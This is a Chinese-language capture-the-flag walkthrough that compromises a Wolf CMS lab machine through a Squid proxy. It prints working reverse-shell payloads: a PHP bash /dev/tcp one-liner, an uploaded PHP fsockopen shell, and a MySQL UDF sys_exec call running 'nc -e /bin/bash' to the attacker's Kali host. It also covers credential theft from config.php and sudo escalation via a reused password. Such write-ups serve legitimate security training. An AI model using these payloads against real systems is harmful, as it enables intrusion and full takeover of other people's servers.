文章目录
一、基础信息
二、信息收集
三、反弹shell
四、提权
一、基础信息
Kali IP:192.168.20.146
靶机IP:192.168.20.150
二、信息收集
端口扫描
nmap -sS -sV -p- -A 192.168.20.150
开放了22、3128端口,8080端口显示关闭
22端口 openssh 5.9p1
3128端口 squid 3.1.19 //前面靶场遇到过,可能又要设置代理
直接目录扫描没有发现,设置一下代理访问服务器80端口发现有显示
设置代理扫描一下目录
dirsearch -u http://192.168.20.150/ --proxy=192.168.20.150:3128 -x 403
发现两个路径,访问一下
Robots文件显示了一个新路径:http://192.168.20.150/wolfcms/,为wolf cms
http://192.168.20.150/connect,好像没什么用
继续扫描一下上面wolfcms的目录文件
dirsearch -u http://192.168.20.150/wolfcms --proxy=192.168.20.150:3128 -x 403
其他路径访问了下好像没啥有用的
百度查找wolfcms默认后台登陆地址/?/admin拼接跳转成功
http://192.168.20.150/wolfcms/?/admin/login
弱口令admin:admin成功登录到后台
三、反弹shell
1、Php反弹shell
打开一个page页面发现可以编辑php代码,写入php代码反弹shell
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.20.146/8080 0>&1'"); ?>
保存后刷新一下页面即可反弹shell
2、文件上传反弹shell
登录到系统后可以发现cms版本为0.8.2,搜索一下漏洞,发现有文件上传漏洞
找到文件上传点
上传shell.php
<?php
$sock=fsockopen('192.168.20.146',8080);
$descriptorspec=array(
0=>$sock,
1=>$sock,
2=>$sock
);
$process=proc_open('/bin/sh',$descriptorspec,$pipes);
proc_close($process);
echo phpinfo();
?>
开启监听端口,访问http://192.168.20.146/wolfcms/public/shell.php,成功反弹shell
python -c 'import pty;pty.spawn("/bin/bash")'
四、提权
1、sudo提权需要账户密码,这里没有
2、尝试数据库udf提权
查看根目录信息,发现config.php文件,查看内容发现数据库信息
当前数据库:wolf,账户密码:root/john@123
登录到数据库查看到了admin的账户信息
但是解不出密码
UDF,即user defined function,在MySQL中,UDF允许用户创建自己的函数,这些函数可以在SQL查询语句中使用,类似于内置函数。通过使用UDF,用户可以对数据库进行自定义操作,以满足业务需求,或实现数据库本身并不支持的一些特定功能。
前提条件:
1、拥有MySQL数据库账号,且该账号对MySQL拥有create insert delete等权限,以创建和使用函数
2、secure_file_priv为空,若secure_file_priv指定的目录恰好是我们提权过程中用到的目录,也可以
show global variables like 'secure%';
secure_file_priv值为空则可写,可以考虑UDF提权
secure_file_priv值为指定路径,则指定路径可写
show variables like '%compile%';
可以看到系统版本,这可以确定等下我们要用的脚本。
select @@plugin_dir; #查找具体目录
select @@basedir; #查看mysql目录
kali上寻找exp
find / -name "*mysqludf*" 2>/dev/null
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so /root
python -m http.server 8090
靶机上
cd /tmp
wget http://192.168.20.146:8090/lib_mysqludf_sys_64.so
提权操作
use mysql;
create table hack(line blob); #新建一个表,用来存放本地传来的udf文件的内容
insert into hack values(load_file('/tmp/lib_mysqludf_sys_64.so')); #在hack中写入udf文件内容
select * from hack into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so'; #将udf文件内容传入新建的udf文件中
create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so'; #导入udf函数
select sys_exec('nc 192.168.20.146 9090 -e /bin/bash'); #执行
但是在将udf文件内容传入新建的udf文件中时失败了,提示不能创建和写入文件,不知道咋回事,secure_file_priv值是为空的呀。
Mysql_udf提权失败
3、Suid位提权
find / -perm -u=s -type f 2>/dev/null
搜索了一下没有可利用的
4、内核提权
Uname -a
Cat /etc/*release
搜索漏洞
似乎没有有效的,尝试了几个也是没成功
只能继续收集信息
看到/etc/passwd文件里还有个用户,尝试用已知的数据库密码登录成功。
账户密码:sickos/john@123
发现可用sudo提权:sudo su,提权成功